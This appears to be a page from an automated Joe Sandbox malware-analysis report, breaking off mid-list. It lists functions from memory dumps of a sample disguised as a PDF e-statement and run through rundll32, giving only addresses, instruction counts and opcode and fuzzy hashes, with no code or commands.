                                                                                                                • Snapshot File: hcaresult_12_2_5ac0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: a8a63fe2208995d5f83bc47e8af24fb2ef61a2977dc6a52a0edb49e549b9c138
                                                                                                                • Instruction ID: 20a301e7aa19712eb04d72cfc4c016b767b7979d85915268d59f758ab14c5cdc
                                                                                                                • Opcode Fuzzy Hash: a8a63fe2208995d5f83bc47e8af24fb2ef61a2977dc6a52a0edb49e549b9c138
                                                                                                                • Instruction Fuzzy Hash: 1EE0863B6015049FCB0257B0D506ECE7FA1EB49241B04807AD5468B621C932C451EB40
                                                                                                                Function 00F2D538 Relevance: .0, Instructions: 19COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1560501435.0000000000F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F20000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_f20000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 511881b42739c88e5c23c2cde2617a9bbeef4c2c0c15c2591d5dbbb6925bdd22
                                                                                                                • Instruction ID: aa1a5bf66f5ec7b6afa621038e8ca8de3a662be7d4e5039d0e9a9234f9f21c26
                                                                                                                • Opcode Fuzzy Hash: 511881b42739c88e5c23c2cde2617a9bbeef4c2c0c15c2591d5dbbb6925bdd22
                                                                                                                • Instruction Fuzzy Hash: F2E0B674E0530DAFCB44EFA8D45559DBBF5AF48300F0081ADE809E7350EA749A158F81
                                                                                                                Function 05AB3360 Relevance: .0, Instructions: 19COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568601585.0000000005AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AB0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ab0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 13aadcac9fbb2a9958decc911c5e292ba256ada9b4823b9f5598f2f6b1196767
                                                                                                                • Instruction ID: 85bc73cb6c4b1fa53b4112cdb885d7c0ba0dc1f7e2c0fdbb519d219c2ac8df7f
                                                                                                                • Opcode Fuzzy Hash: 13aadcac9fbb2a9958decc911c5e292ba256ada9b4823b9f5598f2f6b1196767
                                                                                                                • Instruction Fuzzy Hash: 0BE092B1D002199F8F80EFA9A9055EEBBF8EA08210F50846AD919E3240E7346A11CFD1
                                                                                                                Function 05AB3A10 Relevance: .0, Instructions: 19COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568601585.0000000005AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AB0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ab0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 640c4e5a9a382df9a63e89eeda707b0889b2b8114514e88dd7bbf835d208e6fe
                                                                                                                • Instruction ID: b433fc6868daab0334ff1e770a589361dcbc4048a51f95a724623c89b9f3cfef
                                                                                                                • Opcode Fuzzy Hash: 640c4e5a9a382df9a63e89eeda707b0889b2b8114514e88dd7bbf835d208e6fe
                                                                                                                • Instruction Fuzzy Hash: E2D05B35710210578604266DA41867D7ADAC7C9661710013AF509C3340CE719C0547B4
                                                                                                                Function 05AC6DD8 Relevance: .0, Instructions: 18COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568657806.0000000005AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AC0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ac0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: de52673ed7703d664879929b1143f36cc3e352b97cdcd901e804eb7abfc9add4
                                                                                                                • Instruction ID: 9c240de3ea0889d41d42bff42afe8452b9da7f813475b99b10e327def78d5286
                                                                                                                • Opcode Fuzzy Hash: de52673ed7703d664879929b1143f36cc3e352b97cdcd901e804eb7abfc9add4
                                                                                                                • Instruction Fuzzy Hash: 9DD05E3A301118EF8B066BB0D408CCEBFAAEF0D25130180BAE5058B221DE33D851DBD0
                                                                                                                Function 05AB3318 Relevance: .0, Instructions: 18COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568601585.0000000005AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AB0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ab0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: f54eb894ef977c5293af1b53f93f0b3b483391952acb1b0a27bec43761b15f16
                                                                                                                • Instruction ID: 1ba83a2be47a3cdafd48d2577df8918b725e0d81d2c3413ba7b720d768fa1f48
                                                                                                                • Opcode Fuzzy Hash: f54eb894ef977c5293af1b53f93f0b3b483391952acb1b0a27bec43761b15f16
                                                                                                                • Instruction Fuzzy Hash: CCD0A7A6B542044FFF20DB6CF940FDA23D66F98250B455550E40DCB315DB34D8424651
                                                                                                                Function 00F20E80 Relevance: .0, Instructions: 16COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1560501435.0000000000F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F20000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_f20000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: a851866ad263c37274ce52c1d825c5e7bbc4a28e284afc2971710db2dbf24c66
                                                                                                                • Instruction ID: 2bc79822bd70bf27191eaa7034442a481474e97e993da2484dff2eabb5af35ef
                                                                                                                • Opcode Fuzzy Hash: a851866ad263c37274ce52c1d825c5e7bbc4a28e284afc2971710db2dbf24c66
                                                                                                                • Instruction Fuzzy Hash: E3D05E70A0020DFFCB00EFB8FD0199DB7B9EB44200B1041A8D808D7300EA31AF009BA1
                                                                                                                Function 05AC1AC0 Relevance: .0, Instructions: 16COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568657806.0000000005AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AC0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ac0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: b195f4dc640e55d824b73140dbe05e85a78cdede2500b8af1bc6f188e2ef82f5
                                                                                                                • Instruction ID: df7977c4e9cf28542538ecbee972c6bcf167bfe811f9b5f3425455fb384401b7
                                                                                                                • Opcode Fuzzy Hash: b195f4dc640e55d824b73140dbe05e85a78cdede2500b8af1bc6f188e2ef82f5
                                                                                                                • Instruction Fuzzy Hash: 7DD05E70A0130CEFCF00EFA8F941A5DB7B9EB44200B1049A8E409E7200EE32AF05DBA1
                                                                                                                Function 05ABFF80 Relevance: .0, Instructions: 16COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568601585.0000000005AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AB0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ab0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: a84633adf22fd760e38bc03878f190c3fd56f9420aa019a62aa2bc813f40fe9b
                                                                                                                • Instruction ID: c005238a8eeab85a4fb77506a44e5db48bf5ff5db49532682b653998b52c09d4
                                                                                                                • Opcode Fuzzy Hash: a84633adf22fd760e38bc03878f190c3fd56f9420aa019a62aa2bc813f40fe9b
                                                                                                                • Instruction Fuzzy Hash: 74D0123814E2453FEE111B709C53FA57B54DF15205F1586DEFD0A95592C593C0134961
                                                                                                                Function 05AB24F0 Relevance: .0, Instructions: 15COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568601585.0000000005AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AB0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ab0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 53a512f1b7e73bc1eca72fa460d91fb4c7e290563c5904c2bd8c804ec154e8ba
                                                                                                                • Instruction ID: c941e686640235d88c168832ab551aae07863d9c6a81d36ca845cba424e33576
                                                                                                                • Opcode Fuzzy Hash: 53a512f1b7e73bc1eca72fa460d91fb4c7e290563c5904c2bd8c804ec154e8ba
                                                                                                                • Instruction Fuzzy Hash: 63D0C9347042119FDF24DB6CF480EA673EAAF8C214351469AE45ADF715DEB0EC518AD0
                                                                                                                Function 05ABCF69 Relevance: .0, Instructions: 15COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568601585.0000000005AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AB0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ab0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 05cc43d658073176c9b129ed08543d0d6fa8aa5ed928634f3946ed95b9f8b061
                                                                                                                • Instruction ID: 2c27aedc34aed870ad1e6e8dae5417edb88c2521dc487839c497380a76c02b1b
                                                                                                                • Opcode Fuzzy Hash: 05cc43d658073176c9b129ed08543d0d6fa8aa5ed928634f3946ed95b9f8b061
                                                                                                                • Instruction Fuzzy Hash: DED0A7356016288BD3257B64D7116D93FA09F88612B01007AD4494B246CF70D902CB84
                                                                                                                Function 00F219E1 Relevance: .0, Instructions: 13COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1560501435.0000000000F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F20000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_f20000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 459871c08fe6bfab1137e0af1a57dea7d2ec4ff9dd809853375ed4a3546c0b04
                                                                                                                • Instruction ID: bfaf4875b174be262456a45500f398b700bd4c121035558b7d6ca518a6f42f5d
                                                                                                                • Opcode Fuzzy Hash: 459871c08fe6bfab1137e0af1a57dea7d2ec4ff9dd809853375ed4a3546c0b04
                                                                                                                • Instruction Fuzzy Hash: E8D092755082808FC701CF64CD918017BF1AF8B2143188AD9D8168B2AAD736E922DB81
                                                                                                                Function 05ABCF78 Relevance: .0, Instructions: 13COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568601585.0000000005AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AB0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ab0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 0cc28f2102848876e491f2146d8914558f4ffb3ca91e8a50672301a04c2c7df2
                                                                                                                • Instruction ID: e3adfdc9d1786418408b2e00d8ec1afc44942e4b2701a34c92b24e47665ae492
                                                                                                                • Opcode Fuzzy Hash: 0cc28f2102848876e491f2146d8914558f4ffb3ca91e8a50672301a04c2c7df2
                                                                                                                • Instruction Fuzzy Hash: B3C08C317016388B83292668A0048DAB7DDDB89A32300007EE44A87700CFB6AC43C7D4
                                                                                                                Function 05AB1EB9 Relevance: .0, Instructions: 12COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568601585.0000000005AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AB0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ab0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: a149ce3d6a0849f3de30d3c539390bd0d5ef843e2f4596cac6e73c4415283b13
                                                                                                                • Instruction ID: fff7acf0c09789c370d309bb2d14d4f93b1fd006c69ba8dfeb49f080fcbbb68a
                                                                                                                • Opcode Fuzzy Hash: a149ce3d6a0849f3de30d3c539390bd0d5ef843e2f4596cac6e73c4415283b13
                                                                                                                • Instruction Fuzzy Hash: 60D0A9F34283404FCB06CBA8D8883093FE29B0A321B26208AA884C2391D328C810DB21
                                                                                                                Function 05AC1DB0 Relevance: .0, Instructions: 11COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568657806.0000000005AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AC0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ac0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 6960d37496681b8ac92323f014be2178169cc6d154d8d68bfdbb2a0f8e404ce6
                                                                                                                • Instruction ID: 9ab19e147a40c42a7be59b41a3c1462e465f68a11eb46af2ca1396e059d73a82
                                                                                                                • Opcode Fuzzy Hash: 6960d37496681b8ac92323f014be2178169cc6d154d8d68bfdbb2a0f8e404ce6
                                                                                                                • Instruction Fuzzy Hash: DAC09B3350554057DB08C610E557709A7F1D7D1311F24C539A4178B7D5CF318D02C55A
                                                                                                                Function 05AB434B Relevance: .0, Instructions: 11COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568601585.0000000005AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AB0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ab0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 1c0cb413da5148112a21c8c981605ea6094d706b770f157c2a7d3dfa396d7a80
                                                                                                                • Instruction ID: e305245886b6cd789724e656d8a8a1bc201077aeeb1200908540c7d685fce255
                                                                                                                • Opcode Fuzzy Hash: 1c0cb413da5148112a21c8c981605ea6094d706b770f157c2a7d3dfa396d7a80
                                                                                                                • Instruction Fuzzy Hash: 87C08C32300020078248C10CD851841E7D68BCC224318C06F7508C3310CE62CC0383D0
                                                                                                                Function 05AC81CF Relevance: .0, Instructions: 10COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568657806.0000000005AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AC0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ac0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: f856d5ad6fb659199a7b99f5240c2f6a216a024839527f2d32041ecceeddde3d
                                                                                                                • Instruction ID: 9aa134e50635b009dc33f8c5e1c805e9deb769749aee83445930a72955fa490d
                                                                                                                • Opcode Fuzzy Hash: f856d5ad6fb659199a7b99f5240c2f6a216a024839527f2d32041ecceeddde3d
                                                                                                                • Instruction Fuzzy Hash: B9C09B3F5616008FD7055970C551B9436E3EF72117FD885DDC4055A341C73AC403C945
                                                                                                                Function 05AB4FD0 Relevance: .0, Instructions: 10COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568601585.0000000005AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AB0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ab0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 0bf274e086d155ee73e504749531eb5c472b49628a54bc67112d2ce579ee35a0
                                                                                                                • Instruction ID: 91e0291c8f0de1647726e0341d5a71d2dc53b9a9c05e6e5b8e6ce962d0825c29
                                                                                                                • Opcode Fuzzy Hash: 0bf274e086d155ee73e504749531eb5c472b49628a54bc67112d2ce579ee35a0
                                                                                                                • Instruction Fuzzy Hash: 11C012559092C09BEB02C265C9607402F209B0222070943FA804086053D05DDC148B13
                                                                                                                Function 00F2D510 Relevance: .0, Instructions: 9COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1560501435.0000000000F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F20000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_f20000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 50074c35dfc56faff50f19f7bb4d9b1a3d685361032910efb50a6016f3eb4f72
                                                                                                                • Instruction ID: 55a963bb85c20cf4ba9fc9c099e806d2fcd029eb493db20f268bf7a46f846c4f
                                                                                                                • Opcode Fuzzy Hash: 50074c35dfc56faff50f19f7bb4d9b1a3d685361032910efb50a6016f3eb4f72
                                                                                                                • Instruction Fuzzy Hash: DBB0927090630CAF8720DB99980195AB7ACDA0A250B0001D9F90887320D972E91057D1
                                                                                                                Function 05AC00F6 Relevance: .0, Instructions: 9COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568657806.0000000005AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AC0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ac0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 36509902e4d7eda95ea425291827526585354c4d17569eb3a9a6a214ed94d3b7
                                                                                                                • Instruction ID: 88f670ec2d34244e3ea375d0ef056788fa32b6323b4c2cc13777036ed185342d
                                                                                                                • Opcode Fuzzy Hash: 36509902e4d7eda95ea425291827526585354c4d17569eb3a9a6a214ed94d3b7
                                                                                                                • Instruction Fuzzy Hash: 67C04C36B000198B8F00DAD4F4454DCFB71EB84226B104162D515521108A312957CB40
                                                                                                                Function 05AC1C10 Relevance: .0, Instructions: 7COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568657806.0000000005AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AC0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ac0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 76e72c49e93181ad3db132ffd774188dc08c02cc7e696f3af7051ccff03e3ed7
                                                                                                                • Instruction ID: 41f470e1ecb96fb7e623f5deb0a752cc71b82187ba1a9476947d041adb4a66d3
                                                                                                                • Opcode Fuzzy Hash: 76e72c49e93181ad3db132ffd774188dc08c02cc7e696f3af7051ccff03e3ed7
                                                                                                                • Instruction Fuzzy Hash: 69C09B1960E1C443DF0583B095A5F5C6F715741350FCD4458944199745DD59C505D700
                                                                                                                Function 05AB2E60 Relevance: .0, Instructions: 5COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568601585.0000000005AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AB0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ab0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 90914831e188827bec8fb6699bd0399d0e9162b9d4fb3fdc093ca0e1bd9b8edc
                                                                                                                • Instruction ID: e413b76829ce511345703c63ff0569b35dd3d5bbca212faf01176842e92940fb
                                                                                                                • Opcode Fuzzy Hash: 90914831e188827bec8fb6699bd0399d0e9162b9d4fb3fdc093ca0e1bd9b8edc
                                                                                                                • Instruction Fuzzy Hash: 3BB011302000008B8288CA08C880808F3A2ABE8308328C0AEA808CB20ACF33E803CA08

                                                                                                                Non-executed Functions

                                                                                                                Function 05AC039B Relevance: .5, Instructions: 545COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568657806.0000000005AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AC0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ac0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: e6fbcfc0be86cd1c0554676afe6fe37e7c41f001d51b70eb9b5b9f1005c59109
                                                                                                                • Instruction ID: 759133470058b3d479df2b1a3d3eb9e59ec093eaa98ff5bf6dc6d123c70c8d63
                                                                                                                • Opcode Fuzzy Hash: e6fbcfc0be86cd1c0554676afe6fe37e7c41f001d51b70eb9b5b9f1005c59109
                                                                                                                • Instruction Fuzzy Hash: 05222934B00614CFDB19EB38C558A5DBBF2BF89314F1584A9D50AAB3A2DB71DD82CB40
                                                                                                                Function 05AB6130 Relevance: .4, Instructions: 370COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568601585.0000000005AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AB0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ab0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 0834719c456a7231f58190c72a58a875f685b5ac6b4f504f8cd45d0cb9ac9436
                                                                                                                • Instruction ID: 7e071f0930f442862523bb3ac75fa887644d3daaa6debd17a6a104d1ada45abd
                                                                                                                • Opcode Fuzzy Hash: 0834719c456a7231f58190c72a58a875f685b5ac6b4f504f8cd45d0cb9ac9436
                                                                                                                • Instruction Fuzzy Hash: 0AE17F31E106599FCF01DFA9C4409DEFBB1FF89310F25865AE415BB211EB74AA86CB90

                                                                                                                Executed Functions

                                                                                                                Function 04B66508 Relevance: .2, Instructions: 238COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000010.00000003.1570913504.0000000004B60000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B60000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_16_3_4b60000_rundll32.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 985e2b6f6d2c9a70fb483e90fb09d52e7c44de4be80be94b552fdfe90a015fd9
                                                                                                                • Instruction ID: fe0a9c374ca9b01982b6d602c42e0dd424dafd416e9e1bef7c65d953a06f8b02
                                                                                                                • Opcode Fuzzy Hash: 985e2b6f6d2c9a70fb483e90fb09d52e7c44de4be80be94b552fdfe90a015fd9
                                                                                                                • Instruction Fuzzy Hash: 33819134B11219DFDB149F64E458BAEBBB2FF84704F1085A9D4179B390DB78AC44CB90
                                                                                                                Function 04B629C8 Relevance: .2, Instructions: 228COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000010.00000003.1570913504.0000000004B60000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B60000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_16_3_4b60000_rundll32.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: adc6d28259f060ff668150f96a706d8514259f3e3e9c23ed321072b1854c09eb
                                                                                                                • Instruction ID: de1dff666fe03e5f6e704c4ee07ecc4176525ad10d05455b1b0282420e411872
                                                                                                                • Opcode Fuzzy Hash: adc6d28259f060ff668150f96a706d8514259f3e3e9c23ed321072b1854c09eb
                                                                                                                • Instruction Fuzzy Hash: F3916D35A106158FDB15EFA8C85069DB7B6FF88314B14869AE80AAB354EF34ED41CB90
                                                                                                                Function 04B61080 Relevance: .2, Instructions: 212COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000010.00000003.1570913504.0000000004B60000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B60000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_16_3_4b60000_rundll32.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 6142005aab5da2d6038e6bdf145d5c12a3873abd98415c931568b1603d3b7b0d
                                                                                                                • Instruction ID: 22e56e41650034acb7da1e7b0336b170fae99bfec169e1f517d025df76ebe579
                                                                                                                • Opcode Fuzzy Hash: 6142005aab5da2d6038e6bdf145d5c12a3873abd98415c931568b1603d3b7b0d
                                                                                                                • Instruction Fuzzy Hash: F3719635B002149FEB14EBB9C9547AEB7A7EFC8210F148065E407EB394DE39EC028791
                                                                                                                Function 04B629A0 Relevance: .2, Instructions: 159COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000010.00000003.1570913504.0000000004B60000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B60000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_16_3_4b60000_rundll32.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 9dc7ddc4c0713693af80d5099fd357ee4498b401f6855e4706c517b3c422a782
                                                                                                                • Instruction ID: 047d912466c5b363ebe5247b73ea933f2c08f73cdd2412d58fa1290e665faaf6
                                                                                                                • Opcode Fuzzy Hash: 9dc7ddc4c0713693af80d5099fd357ee4498b401f6855e4706c517b3c422a782
                                                                                                                • Instruction Fuzzy Hash: 1A517179A002418FD715EF74D89065EBBB6EF8821471485DAE80ADF355EF38ED02CB90
                                                                                                                Function 04B61630 Relevance: .2, Instructions: 159COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000010.00000003.1570913504.0000000004B60000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B60000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_16_3_4b60000_rundll32.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 55455f29f6b8b93884b9ae011c613a3d500ada30dd350cc45a6fcc66db0fd297
